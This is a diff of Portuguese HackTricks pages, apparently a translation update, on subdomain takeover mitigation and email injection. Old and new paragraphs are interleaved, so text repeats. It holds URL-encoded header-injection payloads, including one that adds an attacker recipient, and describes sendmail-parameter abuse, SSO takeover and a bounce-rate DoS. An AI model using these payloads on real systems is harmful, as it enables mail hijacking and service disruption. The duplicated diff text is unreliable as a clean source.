||||
Em 2016, Matthew Bryant [demonstrou](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) um subdomain takeover usando registro NS em _maris.int_. O domínio de nível superior .INT é um TLD especial, e apenas um punhado de domínios o utilizam. Bryant mostrou que, embora o registro de tais nomes de domínio seja aprovado exclusivamente pela IANA, os servidores de nomes podem ser configurados para domínios arbitrários. Como um dos servidores de nomes de _maris.int_ estava disponível para registro (_cobalt.aliis.be_), o subdomain takeover foi possível até mesmo neste TLD restrito.
|
||||
|
||||
Matthew também [demonstrou](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) um ataque de gravidade ainda maior, onde ele foi capaz de obter controle sobre o servidor de nomes do domínio de nível superior .IO. Obter controle sobre o .IO significa controlar as respostas para todos os domínios .IO. Nesse caso, um dos servidores de nomes do .IO era _ns-a1.io_, que estava disponível para registro. Ao registrar _ns-a1.io_, Bryant foi capaz de receber consultas DNS e controlar suas respostas para todos os domínios .IO.
|
||||
### Mitigação <a href="#mitigação" id="mitigação"></a>
|
||||
Matthew também [demonstrou](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) um ataque de gravidade ainda maior, onde ele conseguiu assumir o controle sobre o servidor de nomes do domínio de nível superior .IO. Controlar .IO significa controlar as respostas para todos os nomes de domínio .IO. Neste caso, um dos servidores de nomes de .IO era _ns-a1.io_, que estava disponível para registro. Ao registrar _ns-a1.io_, Bryant conseguiu receber consultas DNS e controlar suas respostas para todos os domínios .IO.
|
||||
|
||||
As estratégias de mitigação para domínios já vulneráveis a subdomain takeover são bastante simples:
|
||||
### Mitigação <a href="#mitigation" id="mitigation"></a>
|
||||
|
||||
* **Remova o registro DNS afetado** - A solução mais simples é remover o registro afetado da zona DNS. Esse passo é geralmente utilizado quando a organização conclui que o nome de domínio de origem afetado não é mais necessário.
|
||||
* **Reivindique o nome de domínio** - Isso significa registrar o recurso em um provedor de nuvem específico ou, no caso de um domínio regular da Internet, recomprar o domínio expirado.
|
||||
As estratégias de mitigação para nomes de domínio já vulneráveis a subdomain takeover são bastante diretas:
|
||||
|
||||
Para evitar subdomain takeover no futuro, as organizações devem alterar o processo de criação e destruição de recursos em sua infraestrutura. No caso da criação de recursos, a criação do registro DNS deve ser a _última etapa_ desse processo. Essa condição impede que o registro DNS aponte para um domínio inexistente em qualquer momento. Para a destruição de recursos, ocorre o oposto: o registro DNS precisa ser removido como a _primeira etapa_ desse processo. Ferramentas como [aquatone](https://github.com/michenriksen/aquatone) incluem verificações para subdomain takeover. Essas verificações devem ser realizadas periodicamente por uma equipe de segurança da organização para verificar se não há domínios vulneráveis. Os processos de coleta centralizada de nomes de domínio expostos geralmente não são eficientes dentro das organizações (devido a equipes globais, etc.) e o monitoramento externo geralmente é a melhor opção.
|
||||
* **Remover o registro DNS afetado** — A solução mais simples é remover o registro afetado da zona DNS. Este passo é geralmente usado se a organização conclui que o nome de domínio de origem afetado não é mais necessário.
|
||||
* **Reivindicar o nome de domínio** — Isso significa registrar o recurso em um provedor de nuvem específico ou, no caso de um domínio regular da Internet, recomprar o domínio expirado.
|
||||
|
||||
A mitigação para provedores de nuvem também deve ser considerada. Os serviços em nuvem não verificam a propriedade do domínio. A razão para isso é principalmente a conveniência. O provedor de nuvem não introduz nenhuma vulnerabilidade ao não verificar a propriedade de um nome de domínio de origem. Portanto, cabe ao usuário monitorar seus registros DNS. Outro motivo é que, quando um recurso em nuvem é removido, o usuário geralmente não é mais cliente desse serviço. A pergunta que os provedores de nuvem fazem é: Por que deveríamos nos importar?
|
||||
Para prevenir subdomain takeover no futuro, as organizações devem mudar o processo de criação e destruição de recursos em sua infraestrutura. No caso da criação de recursos, a criação do registro DNS deve ser o _último passo_ desse processo. Essa condição impede que o registro DNS aponte para um domínio inexistente em qualquer momento. Para a destruição de recursos, o oposto é verdadeiro: o registro DNS precisa ser removido como o _primeiro passo_ nesse processo. Ferramentas como [aquatone](https://github.com/michenriksen/aquatone) incluem verificações para subdomain takeover. As verificações devem ser realizadas periodicamente por uma equipe de segurança de uma organização para verificar que não há domínios vulneráveis. Processos para coleta central de nomes de domínio expostos são frequentemente ineficientes dentro das organizações (devido a equipes globais, etc.) e o monitoramento externo geralmente é a melhor opção.
|
||||
|
||||
Provedores como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) perceberam que o subdomain takeover é um problema e implementaram um mecanismo de verificação de domínio.
|
||||
A estratégia de mitigação para provedores de nuvem também deve ser considerada. Os serviços de nuvem não estão verificando a propriedade do domínio. A razão por trás disso é principalmente a conveniência. O provedor de nuvem não está introduzindo nenhuma vulnerabilidade ao não verificar a propriedade de um nome de domínio de origem. Portanto, cabe ao usuário monitorar seus registros DNS. Outra razão é que, quando um recurso de nuvem é removido, o usuário geralmente não é mais um cliente desse serviço. A pergunta que os provedores de nuvem então se fazem é: Por que deveríamos nos importar?
|
||||
|
||||
_Alumas partes deste post são trechos da minha_ [_Tese de Mestrado_](https://is.muni.cz/th/byrdn/Thesis.pdf).
|
||||
Provedores como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) perceberam que subdomain takeover é um problema e implementaram um mecanismo de verificação de domínio.
|
||||
|
||||
_Algumas partes deste post são trechos da minha_ [_Tese de Mestrado_](https://is.muni.cz/th/byrdn/Thesis.pdf).
|
||||
|
||||
Até a próxima!
|
||||
|
||||
[Patrik](https://twitter.com/0xpatrik)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,28 +1,30 @@
|
|||
# Injeções de Email
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Injetar em e-mail enviado
|
||||
|
||||
### Injetar Cc e Bcc após o argumento do remetente
|
||||
### Injetar Cc e Bcc após argumento do remetente
|
||||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
|
|
@ -34,69 +36,19 @@ From:sender@domain.com%0ATo:attacker@domain.com
|
|||
```
|
||||
A mensagem será enviada para o destinatário original e para a conta do atacante.
|
||||
|
||||
### Injetar argumento de Assunto
|
||||
### Injetar argumento Subject
|
||||
```
|
||||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||||
```
|
||||
O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Isso depende do comportamento do serviço de e-mail.
|
||||
O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Depende do comportamento do serviço de e-mail.
|
||||
|
||||
### Alterar o corpo da mensagem
|
||||
|
||||
Injete uma quebra de linha de duas linhas e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
|
||||
Injete uma alimentação de duas linhas, depois escreva sua mensagem para alterar o corpo da mensagem.
|
||||
```
|
||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||
```
|
||||
### Exploração da função mail() do PHP
|
||||
|
||||
A função `mail()` do PHP é comumente usada para enviar e-mails a partir de um servidor web. No entanto, ela também pode ser explorada por hackers para realizar ataques de injeção de e-mail.
|
||||
|
||||
#### Injeção de e-mail
|
||||
|
||||
A injeção de e-mail ocorre quando um invasor consegue inserir código malicioso em um campo de entrada que é posteriormente utilizado como parâmetro na função `mail()`. Isso pode permitir que o invasor envie e-mails não autorizados, falsifique remetentes ou até mesmo execute comandos no servidor.
|
||||
|
||||
#### Exemplo de exploração
|
||||
|
||||
Considere o seguinte código PHP:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$to = $_POST['to'];
|
||||
$subject = $_POST['subject'];
|
||||
$message = $_POST['message'];
|
||||
|
||||
mail($to, $subject, $message);
|
||||
?>
|
||||
```
|
||||
|
||||
Neste exemplo, os valores dos campos `to`, `subject` e `message` são obtidos a partir de um formulário HTML e passados diretamente para a função `mail()`. Isso cria uma vulnerabilidade de injeção de e-mail.
|
||||
|
||||
#### Explorando a vulnerabilidade
|
||||
|
||||
Um invasor pode explorar essa vulnerabilidade inserindo código malicioso nos campos de entrada. Por exemplo, o invasor pode inserir o seguinte valor no campo `to`:
|
||||
|
||||
```
|
||||
john@example.com; cc:malicious@example.com
|
||||
```
|
||||
|
||||
Isso fará com que a função `mail()` envie o e-mail para ambos os endereços, permitindo que o invasor envie cópias não autorizadas para um terceiro.
|
||||
|
||||
#### Prevenção
|
||||
|
||||
Para prevenir a exploração da função `mail()`, é importante validar e sanitizar os dados de entrada antes de utilizá-los como parâmetros. Isso pode ser feito utilizando funções como `filter_var()` para validar endereços de e-mail e `htmlspecialchars()` para sanitizar mensagens.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$to = filter_var($_POST['to'], FILTER_VALIDATE_EMAIL);
|
||||
$subject = htmlspecialchars($_POST['subject']);
|
||||
$message = htmlspecialchars($_POST['message']);
|
||||
|
||||
if ($to && $subject && $message) {
|
||||
mail($to, $subject, $message);
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
Ao validar e sanitizar os dados de entrada, é possível reduzir significativamente o risco de injeção de e-mail e outros ataques relacionados.
|
||||
```bash
|
||||
# The function has the following definition:
|
||||
|
||||
|
|
@ -112,17 +64,17 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
}
|
||||
}
|
||||
```
|
||||
#### O 5º parâmetro ($additional\_parameters)
|
||||
#### O 5º parâmetro ($additional_parameters)
|
||||
|
||||
Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controle**.
|
||||
Esta seção será baseada em **como abusar desse parâmetro supondo que um atacante o controle**.
|
||||
|
||||
Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função `escapeshellcmd($additional_parameters)`.
|
||||
Esse parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, será higienizado com a função `escapeshellcmd($additional_parameters)`.
|
||||
|
||||
Um atacante pode **injetar parâmetros extras para o sendmail** neste caso.
|
||||
|
||||
#### Diferenças na implementação de /usr/sbin/sendmail
|
||||
|
||||
A interface **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
|
||||
A interface **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como parâmetros -t -i -f) permaneça a **mesma** por motivos de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
|
||||
|
||||
Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:
|
||||
|
||||
|
|
@ -130,7 +82,7 @@ Aqui estão alguns exemplos de diferentes páginas de manual do comando/interfac
|
|||
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
||||
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
||||
|
||||
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar deles e **vazar arquivos ou até mesmo executar comandos arbitrários**. Veja como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até executar comandos arbitrários**. Verifique como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
||||
## Injetar no nome do e-mail
|
||||
|
||||
|
|
@ -138,13 +90,13 @@ Dependendo da **origem do binário sendmail**, diferentes opções foram descobe
|
|||
|
||||
Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail
|
||||
|
||||
* Por exemplo: john.doe+intigriti@example.com → john.doe@example.com
|
||||
* Ex.: john.doe+intigriti@example.com → john.doe@example.com
|
||||
|
||||
**Comentários entre parênteses ()** no início ou no final também serão ignorados
|
||||
**Comentários entre parênteses ()** no início ou no fim também serão ignorados
|
||||
|
||||
* Por exemplo: john.doe(intigriti)@example.com → john.doe@example.com
|
||||
* Ex.: john.doe(intigriti)@example.com → john.doe@example.com
|
||||
|
||||
### Bypass da lista de permissões
|
||||
### Bypass de lista branca
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -154,7 +106,7 @@ Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcaç
|
|||
|
||||
### IPs
|
||||
|
||||
Você também pode usar IPs como nomes de domínio entre colchetes:
|
||||
Você também pode usar IPs como nome de domínio entre colchetes:
|
||||
|
||||
* john.doe@\[127.0.0.1]
|
||||
* john.doe@\[IPv6:2001:db8::1]
|
||||
|
|
@ -167,24 +119,24 @@ Você também pode usar IPs como nomes de domínio entre colchetes:
|
|||
|
||||
### XSS
|
||||
|
||||
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você poderá causar **XSS**.
|
||||
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS**. Se você pode **usar esses provedores para fazer login em outros serviços** e esses serviços **não estão higienizando** corretamente o e-mail, você poderia causar **XSS**.
|
||||
|
||||
### Account-Takeover
|
||||
### Apropriação de Conta
|
||||
|
||||
Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e depois você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderá acessar qualquer conta.\
|
||||
Observe que o salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação.
|
||||
Se um **serviço de SSO** permite que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e depois você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderia acessar qualquer conta.\
|
||||
_Note que o salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação._
|
||||
|
||||
## Reply-To
|
||||
|
||||
Você pode enviar um e-mail usando _**From: company.com**_\*\* \*\* e _**Replay-To: attacker.com**_ e se alguma **resposta automática** for enviada devido ao e-mail ter sido enviado **de** um **endereço interno**, o **atacante** pode ser capaz de **receber** essa **resposta**.
|
||||
Você pode enviar um e-mail usando _**De: company.com**_ e _**Responder Para: attacker.com**_ e se alguma **resposta automática** for enviada devido ao e-mail ter sido enviado **de** um **endereço interno**, o **atacante** pode ser capaz de **receber** essa **resposta**.
|
||||
|
||||
## Taxa de rejeição permanente
|
||||
## Taxa de Rejeição Definitiva
|
||||
|
||||
Algumas aplicações como a AWS têm uma **Taxa de Rejeição Permanente** (na AWS é de 10%), que quando sobrecarregada, o serviço de e-mail é bloqueado.
|
||||
Algumas aplicações como a AWS têm uma **Taxa de Rejeição Definitiva** (na AWS é de 10%), que quando é excedida o serviço de e-mail é bloqueado.
|
||||
|
||||
Uma **rejeição permanente** é um **e-mail** que não pôde ser entregue por algum motivo permanente. Talvez o **e-mail** seja um endereço falso, talvez o domínio do **e-mail** não seja um domínio real, ou talvez o servidor do destinatário do **e-mail** não aceite **e-mails**), isso significa que de um total de 1000 e-mails, se 100 deles forem falsos ou inválidos e causarem o retorno de todos eles, o **AWS SES** bloqueará seu serviço.
|
||||
Uma **rejeição definitiva** é um **e-mail** que não pôde ser entregue por alguns motivos permanentes. Talvez o **endereço de e-mail** seja falso, talvez o domínio do **e-mail** não seja um domínio real, ou talvez o servidor do destinatário do **e-mail** não aceite **e-mails**), isso significa que do total de 1000 e-mails, se 100 deles fossem falsos ou inválidos e causassem rejeição, o **AWS SES** bloqueará seu serviço.
|
||||
|
||||
Portanto, se você puder **enviar e-mails (talvez convites) do aplicativo da web para qualquer endereço de e-mail**, você pode provocar esse bloqueio enviando centenas de convites para usuários e domínios inexistentes: DoS do serviço de e-mail.
|
||||
Então, se você é capaz de **enviar e-mails (talvez convites) da aplicação web para qualquer endereço de e-mail, você poderia provocar esse bloqueio enviando centenas de convites para usuários e domínios inexistentes: DoS do serviço de e-mail.**
|
||||
|
||||
## Referências
|
||||
|
||||
|
|
@ -195,18 +147,22 @@ Portanto, se você puder **enviar e-mails (talvez convites) do aplicativo da web
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas**.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
